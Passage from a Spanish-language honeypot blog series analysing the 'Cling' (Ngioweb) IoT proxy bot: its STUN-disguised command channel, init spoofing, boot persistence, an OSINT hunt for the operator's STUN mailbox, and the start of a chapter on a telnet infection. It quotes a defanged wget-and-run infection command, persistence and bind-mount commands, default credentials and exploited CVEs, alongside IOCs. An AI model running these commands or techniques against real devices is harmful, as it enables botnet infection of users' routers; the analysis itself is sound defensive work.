C2 que habla por teléfono ¿Y por dónde le llegan esas órdenes? Aquí está lo más raro que he visto. El bot, al arrancar, abre trece sockets UDP y le habla STUN a trece servidores distintos. STUN es el protocolo que usan las apps de videollamada para averiguar su propia dirección pública cuando están detrás de un router. Y Cling lo habla de verdad: manda un Binding Request con la cookie mágica auténtica (0x2112A442), y de la respuesta saca su puerto público (el atributo XOR-MAPPED-ADDRESS, des-XOR con 0x2112). Trece servidores, trece puertos públicos aprendidos. Con eso, emite su baliza de registro a los trece, cada 5 segundos. La etiqueta va delante y detrás los 13 puertos, así que el tamaño es la longitud de la etiqueta + 26 (13 × 2 bytes): con «telnet», 6 + 26 = 32 bytes. la baliza de registro · etiqueta telnet → 32 B74 65 6c 6e 65 74 94d7 ccb0 ad10 899a d13a b090 … └─── \"telnet\" ────┘ └──── 13 puertos públicos (2 B cada uno) ─────┘ la etiqueta uno por cada uno de los 13 sockets Es su ficha: le dice a quien escuche quién es (la etiqueta) y por dónde alcanzarlo (los trece puertos). Y lo bonito del disfraz: para un monitor de red, un cacharro mandando UDP a trece servidores STUN parece un teléfono haciendo videollamadas. No levanta una ceja. 04La puerta sin cerradura Las órdenes llegan de vuelta por esos mismos trece sockets (los del STUN), como paquetes de 20 bytes. Y su estructura tiene dos detalles que van de lo elegante a lo temerario. una orden del C2 · con forma de cabecera STUN+0 8 bytes cabecera STUN (tipo, longitud, cookie mágica) \u0026lt;- el bot los ignora +8 12 bytes el hueco del transaction ID \u0026lt;- aquí viaja, camuflada, la orden ──────────── 20 B = una cabecera STUN completa, sin atributos Los veinte bytes son, exactos, una cabecera STUN completa sin atributos. Los primeros (tipo, longitud, cookie) el bot los ignora. El resto es el hueco donde STUN pone su transaction ID, un identificador que un cliente de verdad genera al azar… salvo que aquí, en ese hueco, viaja la orden. El bot solo lee un puñado de esos bytes; el resto le da igual. Por eso una orden pasa por STUN ante un cortafuegos: tiene la forma de una cabecera STUN, con su cookie en su sitio. Ahora, cuidado con lo que esto no prueba. Al bot le basta una orden de 20 bytes: unos pocos de mando y el resto ignorado. Una Binding Response de verdad no se le parece (lleva la dirección del cliente en el atributo XOR-MAPPED-ADDRESS, así que pesa más, y repite el transaction ID de la petición que contesta). Sería tentador concluir que las órdenes, entonces, se cazan al vuelo entre el tráfico STUN. Pero no capturé ninguna orden real (nadie llegó a comandar a mi bot), así que esto lo deduzco del descodificador, no lo vi en el cable. Y hay trampa: como el bot ignora casi todo el paquete, el operador puede vestir la orden con un XOR-MAPPED-ADDRESS falso y un ID que imite una respuesta, y obedecería igual. La firma de red de fiar, por eso, está en lo que el bot emite (sus balizas, que veremos salir en la jaula), no en lo que recibe, que puede disfrazarse de cualquier cosa. deducido Elegante. Lo siguiente, no: No comprueba quién mandaLa llamada que recibe la orden es recvfrom(fd, buf, 20, 0, NULL, NULL) - esos dos NULL al final significan «no me digas de dónde viene». No hay autenticación, ni firma, ni cifrado, ni un triste token. Cualquiera que sepa la IP pública del bot y uno de sus trece puertos puede mandarle una orden - incluida la número 1, que ejecuta comandos. El operador le puso a su bot una puerta trasera potentísima… y se dejó la llave puesta para todo el mundo. 05Preguntas quién es y te contesta «init» Un nodo de proxy tiene un objetivo que un bot de DDoS no comparte: que no lo encuentren, para durar años en el router de alguien. Lo primero que hace Cling al arrancar es robarle la identidad al proceso número 1. suplantar a initcp /proc/1/stat /proc/1/status /proc/1/cmdline /tmp/ mount --bind /tmp /proc/\u0026lt;su_propio_pid\u0026gt; En Linux, para saber qué es un proceso miras /proc/\u0026lt;pid\u0026gt;/status. Cling monta encima los datos que copió de init. Preguntas quién es, y el kernel te contesta «init» - el proceso más intocable del sistema. Y remata: nombre de proceso en blanco (prctl(PR_SET_NAME, \"\")), su línea de órdenes borrada a espacios, el watchdog del hardware desactivado (para que el aparato no se reinicie y se lo lleve por delante) y, si es root, -1000 en oom_score_adj: «mata a quien quieras menos a mí». 06El escáner con modales, y el killer sin ninguno Para conseguir más nodos, Cling escanea internet - como todos. Pero con un detalle que no había visto: antes de escanear, se cronometra. Manda mil paquetes a 8.8.8.8, mide cuánto tarda, y calcula a qué velocidad puede escanear sin ahogar la conexión de la víctima. Mirai va a toda pastilla porque le da igual durar; este se auto-estrangula para que el dueño no note que su internet va lento. Un bicho que quiere quedarse no puede permitirse cantar. Y sin embargo, en un detalle canta: todos sus sondeos salen con el puerto de origen fijo en 9999 (un escaneo normal lo deja al azar), así que una ráfaga de SYN saliendo todos desde el 9999 hacia puertos de router es, ella sola, su firma. Cuando encuentra un objetivo, dispara el exploit que toque, de un catálogo de ocho puertas (el repertorio habitual de router y grabador de vídeo): PuertoObjetivoEtiqueta 7547TR-064 / CWMP (caso Deutsche Telekom 2016). Firma User-Agent: clingwasheretr064.selfrep 52869UPnP de Realtek SDK (CVE-2014-8361)selfrep.realtek 60001JAWS (grabadores MVPower)selfrep.jaws 85 · 80 · 8080DVR TBK · Linksys «TheMoon» · B-Link/Tenda · CGI de routerselfrep.* 9034/udpinyección de comando en el Realtek Jungle SDK (CVE-2021-35394)realtek.selfrep Casi cada puerta tiene la suya (siete etiquetas para ocho peticiones: jaws firma dos): tr064.selfrep, selfrep.realtek… y es la que el bot reporta como argv[1] cuando se propaga por ahí. (Las dos de Realtek no son una errata mía: selfrep.realtek es el UPnP de 2014, realtek.selfrep el Jungle SDK de 2021 - el propio bicho las escribe con las palabras al revés.) Pero fíjate: telnet no está en la lista, y Cling no fuerza contraseñas ni escanea el puerto 23. Entonces, ¿cómo llegó a nuestro cebo con la etiqueta telnet (cap. 18)? Porque quien lo metió no fue Cling: fue un cargador de telnet aparte (otra pieza de la maquinaria de reparto) que forzó el 23, soltó la receta y lanzó el binario poniéndole telnet de sello. El argv[1] guarda quién lo trajo, aunque el bicho no sepa abrir esa puerta. Es la división de trabajo del ecosistema: un loader propaga, el bot es la carga. Detalle con gracia de su propagación propia: cuando Cling sí entra (por el UPnP de Realtek) deja en la tabla NAT del router un mapeo etiquetado syncthing, disfrazado de un programa legítimo. La nota fea - y lo que delataNo todo son modales. Cling lleva un killer a lo bruto: un bucle que cada segundo mata todo proceso que no sea busybox ni viva en /tmp, sin distinguir - en un aparato de verdad puede cargarse servicios legítimos del cacharro. Y aquí hay algo más que fealdad: es una contradicción. Un proxy que quiere durar años en casa de alguien no debería ir matando a ciegas cada segundo. El killer, el escáner que se auto-estrangula, el catálogo de ocho exploits… todo eso viene tal cual del mundo Mirai/DDoS. Cling no se diseñó de cero: se ensambló sobre un esqueleto de botnet de ataque al que le quitaron las armas y le atornillaron un túnel. Esa herencia deja huellas - y de ellas tira el hilo. 07Persiste - porque es un proxy Prueba de fuego de la tesis: Mirai, a propósito, no persiste (vive en memoria; un reinicio lo borra). Cling hace lo contrario - se copia a disco y se clava en el arranque por tres mecanismos, para cubrir firmwares distintos: persistencia · el mecanismo .clingcp \u0026lt;self\u0026gt; /root/.cling ; cp \u0026lt;self\u0026gt; /usr/local/bin/.cling echo ::once:/root/.cling \u0026gt;\u0026gt; /etc/inittab # init de BusyBox echo /root/.cling \u0026gt;\u0026gt; /etc/init.d/rcS # SysV echo /root/.cling \u0026gt;\u0026gt; /etc/rc.d/rc.boot # rc.boot Sobrevive al reinicio. En un bot de DDoS eso sería un lujo raro; en un nodo de proxy es el requisito: lo que le pides es exactamente que siga ahí mañana. La persistencia no es un adorno - es la confirmación de para qué sirve. 08Lo encendí (en una jaula) Todo lo anterior sale de leer el binario. Pero la baliza de arriba (esa etiqueta seguida de los trece puertos, a 5 segundos) la quería ver salir de verdad. Así que hice algo que en el cebo no se hace nunca: lo ejecuté. Dónde está la línea, y por qué la muevoEn el honeypot no se ejecuta nada - es una máquina con IP pública y encender ahí un gusano podría contagiar a terceros. Lo hice en otra máquina: aislada, sin salida real a la red, con el bicho hablándole a un respondedor STUN falso que le monté yo. Ni un paquete salió al mundo. Observar en una jaula no es soltar; la diferencia es la jaula. (Es la misma línea que moví en los capítulos 13 y 15.) Y salió exactamente lo que decía el código: trece Binding Requests, trece puertos aprendidos, y a partir de ahí la baliza a los trece servidores, cada 5,0 segundos, sostenida - 741 balizas: cincuenta y siete rondas de trece, a lo largo de casi cinco minutos. Luego, quieto, escuchando órdenes por esos mismos trece sockets. En la jaula nadie se las manda, así que ahí se queda - dando su latido al vacío. Por qué mi baliza mide 34 y no 32En la jaula le puse una etiqueta de laboratorio, zlab0903, de ocho letras, para no confundir su latido con tráfico real. Ocho de etiqueta + los veintiséis de siempre = 34 bytes. La fórmula del apartado 3 no falla: cambias la etiqueta, cambia el tamaño, exacto. Con la de nuestra infección, telnet, serían 32. strace · el saludo STUN a los 13 (recortado)sendto(0, \"\\x00\\x01\\x00\\x00\\x21\\x12\\xa4\\x42\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", 20, {74.125.250.129:19302}) # Google └ cookie ┘└──── transaction ID = TODO CEROS ────┘ sendto(1, \"\\x00\\x01\\x00\\x00\\x21\\x12\\xa4\\x42\\x00…\", 20, {145.249.115.184:3478}) # 145, la sospechosa — mismo saludo … 13 sendto idénticos, uno por socket Ese 21 12 a4 42 es la cookie mágica de STUN: habla el protocolo de verdad. Y fíjate en el segundo - al futuro sospechoso, 145.249.115.184, le manda el mismo saludo que a Google. Indistinguible. Pero hay un descuido que el disfraz no tapa: los doce bytes que siguen a la cookie (el transaction ID, que un cliente de videollamada genera al azar en cada petición) van a cero. Siempre. Cling no se molesta en aleatorizarlos. Y eso es una firma de red preciosa: un Binding Request con el transaction ID en blanco no lo manda ningún teléfono del mundo. Lo manda esto. Ese latido responde, de paso, una pregunta que el código dejaba abierta: ¿cómo le vuelve la respuesta al bot si está detrás de un router? Cada baliza abre un agujero en el NAT de la víctima (el mecanismo de siempre del NAT traversal) y lo mantiene abierto latiendo cada 5 segundos. No es un grito al vacío. Pero lo que de verdad cambia las cosas lo dice la última tanda del strace: a dónde habla el bicho, y a dónde no. strace · a dónde habla el bicho - TODOS los destinos en casi 5 minlas 13 IPs STUN ...... las 741 balizas (una cada 5 s; 145.249.115.184 entre ellas) 0.0.0.0 .............. 13 (bind de los sockets — no es un destino real) 127.0.0.1:33957 ...... 1 (el cerrojo de instancia única) cualquier otra IP .... 0 ← ni un solo paquete a nada más No hay un C2 aparte, en ninguna parte: el bot no habla con nadie más que con esas trece direcciones - a ninguna otra va un solo paquete. (Qué se deduce de eso sobre el operador, en el hilo.) 09La pregunta que queda El bot solo le anuncia sus trece puertos (su ficha para que lo alcancen) a esos trece servidores. A nadie más: el strace lo enseña, «cualquier otra IP: 0». Así que quien quiera mandarle una orden tiene que haber recibido esa ficha - tiene que ser uno de los trece. Y esto no depende de cómo esté montado el router de la víctima: uno de esos trece servidores STUN es del operador. No hay otra vía plausible de que le llegue el mando - salvo un resquicio remoto que persigo en el hilo. Y ahí está el problema, y el gancho del siguiente hilo. Miré las trece, una por una, en Shodan: son servidores STUN públicos de proveedores VoIP reales (IONOS, Google, LeaseWeb, una ISP británica, la rusa SIPNET…). Once de las trece respondían STUN cuando escribí esto, a primeros de septiembre. A simple vista, ninguna es «el buzón del operador»: todas parecen víctimas involuntarias de un camuflaje brillante. Pero eso ya lo sabemos: el bot solo a esas trece les anuncia sus puertos, así que una tiene que ser el buzón. ¿Cuál? Esa pregunta (separar los doce servidores inocentes del único que es un buzón escondido a plena vista) no se responde leyendo el binario. Se responde tirando del hilo. Y es lo que hago en el próximo, en Tirando del hilo. 10Indicadores (IOCs) Como el operador rota los binarios a cada poco (cap. 18), los hashes valen poco. Lo que caza a Cling es su comportamiento: TipoValor Firma de red vistoun IoT hablando STUN a 13 servidores casi a la vez (UDP a :3478/:19302) con el transaction ID a cero (un cliente real lo aleatoriza) · baliza de etiqueta + 26 B cada 5 s a los trece Cadena delatoraclingwashere como User-Agent hacia el 7547 Firma del escánerSYN salientes con puerto origen fijo 9999 a 80/8080/85/60001/52869/7547 Persistencia/root/.cling · /usr/local/bin/.cling · .cling en inittab/rcS/rc.boot Suplantación de initun /proc/\u0026lt;pid\u0026gt; que es bind mount de /tmp (idéntico a /proc/1) Cerrojo local127.0.0.1:33957 en escucha Protocolo C2 deducidoorden UDP de 20 B con cookie STUN; el bot lee unos pocos bytes del hueco del transaction ID e ignora el resto, sin autenticación. Deducido del descodificador - no capturamos ninguna orden; y como ignora el resto de bytes, la orden puede disfrazarse: no sirve como firma de red fiable Trece IPs que NO son indicadoresLas trece direcciones STUN son servidores públicos de proveedores VoIP reales. Publicarlas como IOCs maliciosos sería injusto y llenaría de falsos positivos a quien se fíe. Van como contexto - salvo, quizá, una. Cuál, en el hilo. ⬇ descargar la regla (cling-ngioweb.yar) Continuará - en Tirando del hilo: doce servidores STUN inocentes y un buzón escondido entre ellos. Cómo se distingue el uno de los otros doce sin más que registros públicos - y a dónde lleva. 🍯","date":"2026-09","fam":"Cling","n":19,"spec":"Cling (proxy IoT)","sum":"Bajé los tres binarios del capítulo anterior esperando el arsenal de DDoS de siempre. No estaba: ni una función de ataque. Lo que hace en su lugar (y, sobre todo, el canal por el que le llegan las órdenes) es lo más raro que ha entrado por el cebo. Un bicho pensado, de arriba abajo, para que no se le vea.","t":"¿Un Mirai que no sabía atacar?","tags":["Ngioweb","NSOCKS","proxy","STUN","IoT","ingeniería inversa","Ghidra"],"tipo":"Proxy residencial IoT (Ngioweb / NSOCKS)","url":"/capitulo-19/"},{"body":"Este hilo arranca donde acabó el capítulo del destripe: uno de los trece servidores STUN a los que Cling (un bot de IoT que resultó ser un proxy) baliza tiene que ser el buzón del operador, pero los trece parecen proveedores de VoIP inocentes. Separar al que no lo es de las doce coartadas no se resuelve leyendo el binario; se resuelve con registros públicos, sin tocar una máquina y sin capturar una sola orden. Es lo que hago aquí. Cómo leer estoTres niveles, siempre separados: visto (lo he comprobado yo), leído (lo dice un tercero) y deducido (interpretación mía). Y un aviso de entrada, porque gobierna todo lo demás: no llegué a ver al buzón emitir una orden. Lo que sigue es un caso construido por descarte y exclusividad - fuerte, pero no una confesión firmada. Lo digo aquí y le dedico entera la sección 05. 01La pregunta no es «si», es «cuál» Que uno de los trece tiene que ser del operador no es una corazonada, y conviene fijarlo antes de seguir. El bot averigua por STUN sus trece puertos públicos y los anuncia solo a esos trece; el strace del destripe lo enseña sin ambigüedad («cualquier otra IP: 0»). visto Y sin esa ficha los puertos son efímeros y nadie sabe por dónde alcanzarlo: quien lo comande tiene que haber recibido la baliza - casi con seguridad, uno de los trece. Digo «casi» porque quedan resquicios remotos (que comprometieran uno de los STUN legítimos, o que alguien escuchara el tráfico aguas arriba, entre otros); posibles, pero mucho pedir. deducido El NAT es el «cómo vuelve», no el argumentoCada baliza abre además un agujero en el NAT de la víctima, y por ahí vuelve físicamente la respuesta. Ayuda - pero no es lo que sostiene el caso, y por eso no me apoyo en él: da igual cómo esté montado el router (haya cono completo, IP pública o lo que sea). El argumento es más simple y más duro: los puertos solo se anuncian a los trece, luego el que manda está entre los trece. Y entonces la pregunta deja de ser interesante en abstracto y se vuelve concreta y aburrida, que es como me gustan: ¿quién es, exactamente, cada una de estas trece direcciones? 02Doce coartadas Le resolví el nombre inverso a las trece y las miré una a una en Shodan. Doce tienen una coartada de manual: son servidores STUN de proveedores de VoIP y telco reales, con su nombre puesto en el registro - y la mitad de ellas, además, en el DNS inverso. doce de trece · quién es cada una74.125.250.129 Google stun.l.google.com 212.227.67.34/33 IONOS stun.1und1.de 81.187.30.115 Andrews \u0026amp; Arnold natisevil.aasip.co.uk (ISP británica) 5.39.72.109 antisip sip.antisip.com 83.211.9.232 IRIDEOS clouditalia.com 212.53.40.43 SIPNET sipnet.ru 207.38.82.134 velia.net · 85.17.88.164 LeaseWeb · 77.72.169.211/213 Finarea 216.93.246.18 CounterPath (histórico stun.ekiga.net) La mayoría responde STUN ahora mismo; alguna no me contesta en el :3478 desde mi punto de observación (ekiga es un servicio histórico ya apagado, aunque su dirección la anuncia hoy CounterPath, un fabricante de softphones en activo; SIPNET, en cambio, sigue activo en otros puertos, así que ahí es más «no lo veo desde aquí» que «está muerto»). En cualquier caso, las doce tienen identidad de proveedor VoIP real, que es lo que importa. visto Importante, y va en serioEstas doce son víctimas de un camuflaje, no cómplices. El bot les habla STUN de verdad (un Binding Request con su cookie mágica) y ellas contestan como contestarían a cualquier videollamada, sin saber que sirven de tapadera. Publicarlas como indicadores maliciosos sería injusto y llenaría de falsos positivos a quien se fíe. Van como contexto. La única que señalo es la que no encaja. 03La que no tiene ninguna Queda una: 145.249.115.184. Y no se parece a las otras doce en nada de lo que importa. No es un proveedor de VoIP. El registro y el AS la ponen en Global Connectivity Solutions LLP (AS215540) - un alojamiento de los llamados a prueba de balas, no una telco. visto Pero eso, por sí solo, es débil: cualquiera alquila bulletproof. La prueba de verdad es otra, y es la que cierra el caso - se la pregunté a VirusTotal: ¿quién le habla a cada una de estas IPs? VirusTotal · quién le habla a cada IP Google (público) IRIDEOS (oscuro) 145.249.115.184 población que ve VT miles (muestreo 40) decenas (muestr. 40) 71 · la lista ENTERA (12-sep) tipos de fichero PDF · EXE · Android ELF + PDF/EXE solo ELF + shell benignos / sin clasif. 26 18 0 de la familia Mirai 0 19 71 \".cling\" en el nombre 0 19 65 Un apunte de método, porque es justo por donde intentarían tumbarlo: VirusTotal no da un censo, pagina las relaciones - lo que ves es lo que lista primero, y el orden condiciona la muestra. Para Google, esos 40 son una astilla de miles (seguí y a los 80 aún había más); pero esa astilla ya sale diversa, y eso es lo que importa: una muestra que ya es diversa no puede estar escondiendo un monocultivo debajo. Para 145 hice lo contrario - seguí la lista hasta el final. Son 71 ficheros (los que VirusTotal ve hablar con ella (communicating_files), a 12 de septiembre) y ahí se acaba: no es una muestra, es la población entera. Los 71 son malware, todos de la familia Mirai, 65 con la cadena .cling, cero benignos. A 145, en toda su historia conocida en VirusTotal, solo le ha hablado el bicho. visto Y aquí toca ser honesto en vez de fácil. Pasé la misma consulta a los STUN oscuros de la lista, y no salen limpios: IRIDEOS y antisip rondan el 50% de .cling. Es un efecto real (VirusTotal sobre-representa el malware en servicios con poco tráfico legítimo, así que la oscuridad, por sí sola, ya ensucia), y quien predica contrastar no puede callárselo. Y hay que decirlo entero, porque el porcentaje por sí solo no separa nada: alguno de los doce baja muchísimo (el de SIPNET conserva apenas un 1 % de tráfico benigno). Lo que aísla a 145 no es cuánto malware le habla: es de qué está hecha su población. A los doce les llega de todo (PDFs, ejecutables de Windows, Android, comprimidos), cuatro o cinco tipos distintos cada uno. A 145 le hablan dos: binarios ELF y guiones de shell. Exactamente lo que reparte un cargador, y nada más. Ese extremo no lo alcanza ninguno de los otros doce, ni los oscuros. visto deducido De propina: cuando la miré, en verano, esa misma caja tenía junto al :3478 un panel kittenx en el :8443 y un :443 que solo contestaba según el SNI. visto El aparato de un operador, no el de una telco. deducido El certificado de VK: por qué NO lo uso como pruebaUna lectura previa mía se apoyaba en que ese :8443 presenta un certificado O=VK CN=www.vk, y lo leí como «suplanta a VK». Me corrijo: es el certificado real de VK, y aparece en miles de hosts (unos 2.800) porque es una técnica de proxy (tomar prestado el TLS de un sitio grande y legítimo para que el tráfico parezca ir a VK y burlar la inspección (estilo REALITY/VLESS)). O sea: 145 es, además, un nodo que usa esa técnica. Encaja con que sea infra de proxy, pero no prueba nada por sí solo - es uno de miles. Lo dejo como lo que es: coherente, no probatorio. leído 04El reloj ajeno lo confirma La exclusividad ya cierra cuál es. Lo que lo remacha es el tiempo - y no mi reloj, sino el que deja el propio operador al ir cambiando de piel. Cruzando las muestras públicas de esta familia por fecha, la biografía de su centro de mando sale sola: 2025C2 por dominio de DNS dinámico (boymoder.ddns.net), con la config cifrada. El modelo clásico: un nombre que resuelve a su servidor. jul 2026C2 en una sola IP a pelo, incrustada en el binario (94.154.43.158). Parece el paso más torpe de los tres… hasta que miras dónde vive: un /24 que ha cambiado de ASN cinco veces en quince meses, y en uno de esos saltos quien la soltó es justo quien da tránsito a quien la recogió. visto No era una dirección fácil de tumbar: era una que cambia de país sin moverse. deducido ago 2026C2 disfrazado de STUN: el buzón 145 escondido entre doce servidores legítimos. La muestra que cayó en mi cebo. ¿Y desde cuándo es 145 el buzón? Su :3478 se lo ve por Shodan por primera vez el 2 de septiembre, víspera de mi captura - pero eso es cuándo lo escaneó Shodan, no cuándo nació: un escáner pasa cuando le toca, no cuando el servicio arranca. El dato bueno está en las muestras. Cogí la más antigua de la oleada (del 21 de agosto) y miré en VirusTotal a qué direcciones contacta: las trece, con 145 incluida - la misma lista, exacta, que la muestra que cayó en mi cebo dos semanas después. visto Eso descarta la lectura fácil: 145 no se coló a mitad de campaña ni Cling lo pilló al vuelo de un STUN público - estuvo en la lista desde el primer día conocido. Y encaja con el reloj de las mudanzas: es un operador huyendo hacia adelante de las retiradas (de un nombre que se puede suspender (2025), a una IP a pelo que se puede bloquear (julio), a esconderse entre tráfico que nadie bloquea porque parece una videollamada (agosto)). Cada mudanza, más difícil de cazar que la anterior. Y aquí conviene no leer de más: que estuviera ahí desde el principio descarta el accidente, pero no prueba la intención - una lista copiada y compilada dentro también saldría fija. deducido 05Lo que no puedo demostrar Aquí toca frenar, porque es donde más fácil sería pasarse. Tengo tres cosas apuntando al mismo sitio (que uno de los trece tiene que ser el buzón (el registro solo va a ellos); que las otras doce sí tienen coartada; y que lo que le habla a 145 no se parece a lo que le habla a nadie más). Es mucho. Pero no es una confesión. La prueba que me falta, y por qué me faltaLo único que zanjaría esto del todo sería ver a 145 emitir una orden hacia un bot - capturarlo con las manos, no deducirlo. No lo tengo. Un servidor STUN legítimo y un buzón que habla STUN se ven idénticos hasta que uno de los dos manda un comando, y en el tiempo que observé el tráfico, ninguno de los trece lo hizo. Así que lo honesto es decirlo tal cual: 145 es el buzón con alta confianza (por exclusividad y por el reloj), pero no lo grabé hablando. deducido Y un matiz que ya adelanté al comparar (§03) y que aquí pesa: la exclusividad, medida a lo bruto, es un gradiente, no un interruptor - los STUN oscuros de la lista también salen medio infestados de Cling, porque VirusTotal ensucia lo poco transitado. Lo que aísla a 145 no es «tiene malware», es el extremo: cero tráfico legítimo y una población hecha de dos únicos tipos de fichero, ahí donde hasta el más oscuro de los doce recibe de todo. Y aun ese extremo no lo canto solo: lo que cierra el caso es juntarlo con el bulletproof, la ausencia de identidad VoIP y el reloj. Ninguna de las otras doce reúne el conjunto. 06No es un genio solitario: el disfraz es de 2026 La primera vez que ves un C2 hablando STUN piensas que alguien muy listo se lo ha inventado. A medias: STUN se está colando por todo el ecosistema del IoT en 2026, cada familia para lo suyo, y eso está documentado. Lo que quizá sí sea invento de Cling es un detalle más fino; llego a él al final. MossadProxy (ecosistema Aisuru, una botnet de DDoS) mete un stun.kamru.ru propio en un slot de config aparte de los STUN públicos - Deepfield lo sospecha del operador, aunque hoy ya no resuelve. Su C2 de verdad va por otro lado: dominios registrados en REG.RU, con el tráfico de mando cifrado con ChaCha20. Pero el gesto es el de Cling: un servidor propio camuflado entre los legítimos. leído La propia Aisuru (la mayor botnet de DDoS de IoT del momento) llevaba meses virando de tumbar servidores a vender proxies residenciales (Krebs, octubre de 2025); y Kimwolf, su variante Android, hace ya las dos cosas a la vez. STUN asoma en unas para comprobar conectividad, en otras para NAT traversal: el uso cambia, la herramienta se repite. leído En muestras de esas familias que revisé por mi cuenta, el patrón se confirma: la tapadera (STUN público de Google/Cloudflare) se comparte; el servidor propio lo pone cada una. visto O sea: Cling no inventó usar STUN, ni es un bicho raro - se sumó a una corriente de fondo, media escena del IoT mudándose del ataque al alquiler de conexiones. Lo que quizá sí sea suyo es el remate: meter la orden dentro del transaction ID, para que el mando no solo viaje por un puerto de videollamada, sino que tenga la forma exacta de una. Eso no lo he visto documentado en las otras familias; puede que sea su firma. deducido Epílogo del barrioEl 20 de marzo de 2026, EE. UU. incautó la infraestructura de C2 de Aisuru, Kimwolf, JackSkid y Mossad (las mayores botnets de IoT del momento), a la vez que Canadá y Alemania actuaban contra quienes las operaban. Pero fue una interrupción, no un final: cuatro meses después, Censys veía la infraestructura conocida de Aisuru más que doblada, y Kimwolf fragmentado en más de veinte botnets que competían entre sí. La escena a la que Cling se parece no solo está en el punto de mira de las autoridades - es que, cuando le pegan, rebrota más grande. Huir hacia adelante no es solo la biografía de este operador: es la del barrio entero. leído 07El barrio, y la familia El barrio. La caja de 145 no aloja precisamente empresas de telefonía. En ese mismo alojamiento a prueba de balas conviven dominios de phishing y estafa (neyorkk.org y zalusodahi.org ahora mismo; y hasta hace unos meses también xenplith.com y layerzro.ru, un typosquat de cripto). Es el vecindario que uno esperaría de un buzón de operador, y el que no esperaría de un stun.1und1.de. visto La familia. MalwareBazaar etiqueta a Cling como Ngioweb - el motor de NSOCKS, un servicio de proxy residencial que Lumen/Black Lotus Labs desmanteló en noviembre de 2024. Encaja con lo que vimos por dentro: dar acceso y salida, no atacar. leído Un asterisco honesto sobre la etiquetaUn STUN propio del operador aparece descrito en el ecosistema Aisuru (el stun.kamru.ru de MossadProxy), no en el Ngioweb «clásico», y sus catálogos de exploits no solapan del todo. Así que la etiqueta de MalwareBazaar podría ser de brocha ancha: puede que sea Ngioweb evolucionado, o un primo adyacente a Aisuru que comparte el mismo generador de loaders - encaja con el esqueleto de botnet de ataque que encontramos por dentro, con las armas quitadas y un túnel atornillado. Lo que sí es seguro es la función (proxy, no DDoS) y el comportamiento. El apellido exacto, lo dejo con su asterisco. deducido 08Indicadores (IOCs) TipoValor Buzón del operador (ago-2026)145.249.115.184 - AS215540 (bulletproof) · :3478 STUN de disfraz · monocultivo: los 71 ficheros que VT le ve hablar con ella (communicating_files, la lista entera, a 12-sep) son malware - todos de familia Mirai, 65 con .cling, cero benignos, y de dos únicos tipos: ELF y guiones de shell · :8443 panel kittenx (visto en verano de 2026) C2 anterior (jul-2026)94.154.43.158 - IP única incrustada, en un /24 que salta de ASN cada pocos meses; en julio y hoy, AS219502 (Storm) C2 anterior (2025)boymoder.ddns.net - DNS dinámico Barrio (mismo host)phishing/estafa vigentes: neyorkk.org · zalusodahi.org · históricos: xenplith.com (visto ahí por última vez en may-2026) · layerzro.ru (mar-2026) Técnica (ecosistema)C2 disfrazado de STUN: 13 servidores a la vez con transaction ID a cero + baliza (etiqueta + 13×2 B) cada 5 s. El uso de STUN es de todo el ecosistema Aisuru (p. ej. stun.kamru.ru en MossadProxy); la orden dentro del transaction ID, posiblemente propia de Cling Las doce NO son indicadoresLos otros doce servidores STUN (Google, IONOS, Andrews \u0026amp; Arnold, antisip, LeaseWeb, Finarea, velia, IRIDEOS, SIPNET…) son legítimos. Van como contexto, nunca como IOC malicioso: bloquearlos sería castigar a la víctima del disfraz. Continuará - el cebo sigue encendido, y el disfraz STUN, cada vez más de moda. 🍯","date":"2026-09","fam":"Cling","n":20,"spec":"Cling / Ngioweb","sum":"El capítulo anterior dejó una pregunta que el binario no responde: de los trece servidores STUN a los que Cling baliza, uno tiene que ser el buzón del operador (porque el bot solo le anuncia sus puertos a esos trece, a nadie más), pero los trece parecen proveedores de VoIP inocentes. No lo cacé emitiendo una orden; lo encontré por descarte y por exclusividad, mirando con registros públicos quién habla con cada uno. Doce tienen coartada. El decimotercero, no.","t":"Doce coartadas y un buzón","tags":["OSINT","Ngioweb","NSOCKS","STUN","proxy","investigación"],"tipo":"Proxy residencial IoT (Ngioweb / NSOCKS)","url":"/capitulo-20/"},{"body":"La infección la puedo resumir en una línea, porque duró menos de veinte segundos y no tiene misterio ninguno: contraseña de fábrica, un guion, catorce binarios. Lo interesante vino después, cuando fui a ponerle nombre. Porque cuando por fin supe cómo se llamaba, resultó que ese nombre ya estaba escrito en este blog desde agosto. No lo puso él. Lo puso un bicho rival, dieciocho días antes, mientras intentaba echarlo de un teléfono que los dos querían. 01Menos de veinte segundos No hubo cortejo. Una IP (176.65.139.206) se asomó al Telnet del cebo la mañana del 10 de septiembre y, en quince segundos, abrió siete conexiones seguidas. No era la primera vez que pasaba por aquí: once días antes había llamado al SSH del cebo, había aguantado cuatro segundos y se había ido sin intentar nada. 00:00Primer contacto. Abre y cierra sin decir nada. Y otra vez. 00:05Tercera conexión, y esta sí prueba: root / icatch99. Falla. Es una credencial fija de los grabadores LILIN, que entró en el repertorio de las botnets IoT con el 0-day de LILIN de 2020. 00:16Séptima conexión, y esta entra. Usuario telnet, contraseña telnet. 00:18Pega la orden de infección y el binario ya está dentro. Dieciocho segundos del primer paquete al malware descargado. Es un escáner automático barriendo servicios (el SSH en agosto, el telnet ahora): encontró un puerto abierto, probó lo que tenía que probar y ejecutó su guion. Ni siquiera insistió mucho: de las siete conexiones, solo dos llegaron a teclear una contraseña. Nadie estaba mirando. La orden, tal cual llegó - todo en una línea: lo que pegó en el telnetcd /tmp || cd /var/run || cd /mnt || cd /root || cd / wget hxxp://176.65.139[.]206/cat.sh chmod cat.sh sh cat.sh El rosario de cd del principio es marca de la casa Mirai: prueba directorios uno detrás de otro hasta dar con uno donde pueda escribir, porque en un router barato /tmp puede no existir, estar lleno o ser de solo lectura. Lo que ya no es tan de la casa es ese chmod cat.sh sin decir qué permisos. chmod necesita un modo y aquí no se lo pasan, así que la orden devuelve error. Da igual, porque el guion lo lanzan con sh, que no necesita permiso de ejecución - y precisamente por eso la errata lleva ahí quién sabe cuánto sin que nadie la note. Guárdala, que no es la única. Una sola caja hace todo el trabajoFíjate en la IP de la que se descarga el bicho: es la misma que atacó. No hay reparto de tareas. En KHserver vimos la versión sensata de esto - una IP se dedica a escanear medio internet y se llena de denuncias, y otra distinta, limpia y discreta, guarda la mercancía para las víctimas que ya han picado. Queman una y protegen la otra. Aquí no: la misma máquina escanea, ataca y sirve los ficheros. Todos los huevos en la misma cesta, y esa cesta ya acumulaba 560 denuncias el día que me tocó. 02Un cargador con dos erratas cat.sh pesa 1.903 